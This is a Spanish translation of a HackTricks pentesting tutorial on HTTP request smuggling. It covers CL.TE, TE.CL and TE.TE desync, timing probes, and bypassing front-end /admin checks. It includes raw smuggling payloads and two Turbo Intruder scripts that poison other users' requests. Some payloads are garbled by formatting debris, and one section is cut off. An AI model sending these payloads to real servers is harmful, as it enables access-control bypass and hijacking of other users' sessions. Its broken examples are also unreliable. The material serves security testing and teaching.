hacktricks/pentesting-web/http-request-smuggling
2023-06-03 01:46:23 +00:00
..
browser-http-request-smuggling.md Translated to Spanish 2023-06-03 01:46:23 +00:00
README.md Translated to Spanish 2023-06-03 01:46:23 +00:00
request-smuggling-in-http-2-downgrades.md Translated to Spanish 2023-06-03 01:46:23 +00:00

Ataque de Desincronización de Petición HTTP / HTTP Request Smuggling

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

¿Qué es?

Esta vulnerabilidad ocurre cuando una desincronización entre los proxies de front-end y el servidor de back-end permite a un atacante enviar una petición HTTP que será interpretada como una única petición por los proxies de front-end (balanceo de carga / proxy inverso) y como 2 peticiones por el servidor de back-end.
Esto permite a un usuario modificar la siguiente petición que llega al servidor de back-end después de la suya.

Teoría

Especificación RFC (2161)

Si se recibe un mensaje con un campo de encabezado Transfer-Encoding y un campo de encabezado Content-Length, este último DEBE ser ignorado.

Content-Length

El encabezado de entidad Content-Length indica el tamaño del cuerpo de la entidad, en bytes, enviado al destinatario.

Transfer-Encoding: chunked

El encabezado Transfer-Encoding especifica la forma de codificación utilizada para transferir de manera segura el cuerpo de carga útil al usuario.
Chunked significa que los datos grandes se envían en una serie de fragmentos.

Realidad

El front-end (un balanceador de carga / proxy inverso) procesa el encabezado content-length o el encabezado transfer-encoding y el servidor de back-end procesa el otro, provocando una desincronización entre los 2 sistemas.
Esto podría ser muy crítico ya que un atacante podrá enviar una petición al proxy inverso que será interpretada por el servidor de back-end como 2 peticiones diferentes. El peligro de esta técnica reside en el hecho de que el servidor de back-end interpretará la segunda petición inyectada como si hubiera venido del siguiente cliente y la petición real de ese cliente será parte de la petición inyectada.

Particularidades

Recuerda que en HTTP un carácter de nueva línea está compuesto por 2 bytes:

  • Content-Length: Este encabezado utiliza un número decimal para indicar el número de bytes del cuerpo de la petición. Se espera que el cuerpo termine en el último carácter, no se necesita una nueva línea al final de la petición.
  • Transfer-Encoding: Este encabezado utiliza en el cuerpo un número hexadecimal para indicar el número de bytes del siguiente fragmento. El fragmento debe terminar con una nueva línea pero esta nueva línea no se cuenta en el indicador de longitud. Este método de transferencia debe terminar con un fragmento de tamaño 0 seguido de 2 nuevas líneas: 0
  • Connection: En base a mi experiencia, se recomienda usar Connection: keep-alive en la primera petición del Request Smuggling.

Ejemplos Básicos

Entonces, los ataques de desincronización de petición implican colocar tanto el encabezado Content-Length como el encabezado Transfer-Encoding en una sola petición HTTP y manipularlos de manera que los servidores de front-end y back-end procesen la petición de manera diferente. La forma exacta en que se hace esto depende del comportamiento de los dos servidores:

  • CL.TE: el servidor de front-end utiliza el encabezado Content-Length y el servidor de back-end utiliza el encabezado Transfer-Encoding.
  • TE.CL: el servidor de front-end utiliza el encabezado Transfer-Encoding y el servidor de back-end utiliza el encabezado Content-Length.
  • TE.TE: los servidores de front-end y back-end admiten el encabezado Transfer-Encoding, pero se puede inducir a uno de los servidores a no procesarlo mediante la obfuscación del encabezado de alguna manera.

Vulnerabilidades CL.TE

Aquí, el servidor de front-end utiliza el encabezado Content-Length y el servidor de back-end utiliza el encabezado Transfer-Encoding. Podemos realizar un ataque simple de desincronización de petición HTTP de la siguiente manera:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /404 HTTP/1.1
Foo: x

Observa cómo Content-Length indica que la longitud de la petición es de 30 bytes (recuerda que HTTP utiliza 2 bytes por cada nueva línea), por lo que el proxy inverso enviará la petición completa al servidor de back-end, y el servidor de back-end procesará el encabezado Transfer-Encoding, dejando el GET /404 HTTP/1.1 como el comienzo de la siguiente petición (por cierto, la siguiente petición se agregará a Foo:x<La siguiente petición comienza aquí>).

Vulnerabilidades TE.CL

Aquí, el servidor de front-end utiliza el encabezado Transfer-Encoding y el servidor de back-end utiliza el encabezado Content-Length. Podemos realizar un ataque simple de desincronización de petición HTTP de la siguiente manera:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
``\ 7b\

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

Dado que el servidor de front-end utiliza el encabezado Content-Length, solo reenviará parte de esta solicitud, omitiendo el 0. El servidor de back-end utiliza el encabezado Transfer-Encoding, procesa el primer fragmento y luego espera a que llegue el siguiente fragmento. Esto causará una observable demora en el tiempo.

A veces, en lugar de recibir un tiempo de espera, se recibe una solicitud incorrecta 400 del host final como en el siguiente escenario, donde se envía una carga útil CL.TE:

Y la respuesta es una redirección que contiene un error dentro del cuerpo, incluso con la versión del haproxy utilizado:

Encontrar vulnerabilidades TE.CL utilizando técnicas de temporización

Si una aplicación es vulnerable a la variante TE.CL de smuggling de solicitud, entonces enviar una solicitud como la siguiente a menudo causará una demora en el tiempo:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

Dado que el servidor de front-end utiliza el encabezado Transfer-Encoding, solo reenviará parte de esta solicitud, omitiendo la X. El servidor de back-end utiliza el encabezado Content-Length, espera más contenido en el cuerpo del mensaje y espera que llegue el contenido restante. Esto causará un retraso observable en el tiempo.

Sondeando vulnerabilidades de HTTP Request Smuggling

Una vez que haya encontrado que las técnicas de temporización están funcionando, debe sondear que puede alterar las solicitudes de otros clientes.
La forma más fácil de hacer esto es intentar envenenar sus propias solicitudes, hacer una solicitud para / y devolver un 404, por ejemplo.
En los Ejemplos Básicos ya vimos ejemplos de CL.TE y TE.CL de cómo envenenar la solicitud de un cliente para solicitar /404, provocando una respuesta 404 cuando el cliente estaba solicitando cualquier otro recurso.

Notas

Algunas consideraciones importantes deben tenerse en cuenta al intentar confirmar vulnerabilidades de solicitud de contrabando a través de la interferencia con otras solicitudes:

  • La solicitud "ataque" y la solicitud "normal" deben enviarse al servidor utilizando diferentes conexiones de red. Enviar ambas solicitudes a través de la misma conexión no demostrará que existe la vulnerabilidad.
  • La solicitud "ataque" y la solicitud "normal" deben usar la misma URL y los mismos nombres de parámetros, en la medida de lo posible. Esto se debe a que muchas aplicaciones modernas enrutan las solicitudes de front-end a diferentes servidores de back-end según la URL y los parámetros. Usar la misma URL y los mismos parámetros aumenta la posibilidad de que las solicitudes sean procesadas por el mismo servidor de back-end, lo que es esencial para que funcione el ataque.
  • Al probar la solicitud "normal" para detectar cualquier interferencia de la solicitud "ataque", está en una carrera con cualquier otra solicitud que la aplicación esté recibiendo al mismo tiempo, incluidas las de otros usuarios. Debe enviar la solicitud "normal" inmediatamente después de la solicitud "ataque". Si la aplicación está ocupada, es posible que deba realizar varios intentos para confirmar la vulnerabilidad.
  • En algunas aplicaciones, el servidor de front-end funciona como un equilibrador de carga y reenvía las solicitudes a diferentes sistemas de back-end según algún algoritmo de equilibrio de carga. Si sus solicitudes "ataque" y "normal" se reenvían a diferentes sistemas de back-end, entonces el ataque fallará. Esta es una razón adicional por la que es posible que deba intentarlo varias veces antes de que se pueda confirmar una vulnerabilidad.
  • Si su ataque tiene éxito al interferir con una solicitud posterior, pero esta no fue la solicitud "normal" que envió para detectar la interferencia, esto significa que otro usuario de la aplicación se vio afectado por su ataque. Si continúa realizando la prueba, esto podría tener un efecto disruptivo en otros usuarios, y debe tener precaución.

Forzando a través de encabezados hop-by-hop

Abusando de los encabezados hop-by-hop, podría indicar al proxy que elimine el encabezado Content-Length o Transfer-Encoding para que sea posible abusar de una solicitud HTTP smuggling.

Connection: Content-Lentgh

Para más información sobre las cabeceras hop-by-hop visita:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Abusando de HTTP Request Smuggling

Para evadir controles de seguridad del front-end

A veces, los proxies del front-end realizarán algunas comprobaciones de seguridad. Puedes evitarlas abusando de HTTP Request Smuggling, ya que podrás evadir las protecciones. Por ejemplo, en este ejemplo no puedes acceder a /admin desde el exterior y el proxy del front-end lo está comprobando, pero este proxy no está comprobando la solicitud incrustada:

CL.TE

POST / HTTP/1.1
Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net
Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
\ `0`\
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
``
x=

TE.CL

POST / HTTP/1.1
Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net
Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
\

Revelando la reescritura de solicitudes del front-end

En muchas aplicaciones, el servidor del front-end realiza alguna reescritura de solicitudes antes de que se reenvíen al servidor del back-end, normalmente agregando algunas cabeceras de solicitud adicionales.
Una cosa común que se hace es agregar a la solicitud la cabecera X-Forwarded-For: <IP del cliente> o alguna cabecera similar para que el back-end conozca la IP del cliente.
A veces, si puedes encontrar qué nuevos valores se agregan a la solicitud, podrías ser capaz de evadir protecciones y acceder a información/endpoint ocultos.

Para descubrir cómo el proxy está reescribiendo la solicitud, necesitas encontrar un parámetro POST que el back-end reflejará en la respuesta su valor. Luego, usa este parámetro como el último y usa una técnica como esta:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\
search=

En este caso

Armando un ataque con HTTP Request Smuggling y desincronización de respuestas HTTP

¿Has encontrado alguna vulnerabilidad de HTTP Request Smuggling y no sabes cómo explotarla? Prueba este otro método de explotación:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Scripts de Turbo Intruder

CL.TE

Desde https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0,
                           engine=Engine.THREADED,
                           )
    engine.start()

    attack = '''POST / HTTP/1.1
 Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

    engine.queue(attack)

    victim = '''GET / HTTP/1.1
Host: xxx.com

'''
    for i in range(14):
        engine.queue(victim)
        time.sleep(0.05)

def handleResponse(req, interesting):
    table.add(req)

TE.CL

Desde: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0,
                           engine=Engine.THREADED,
                           )
    engine.start()

    attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
    engine.queue(attack)

    victim = '''GET / HTTP/1.1
Host: xxx.com

'''
    for i in range(14):
        engine.queue(victim)
        time.sleep(0.05)


def handleResponse(req, interesting):
    table.add(req)

Más información

Imagen de aquí.

Herramientas

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥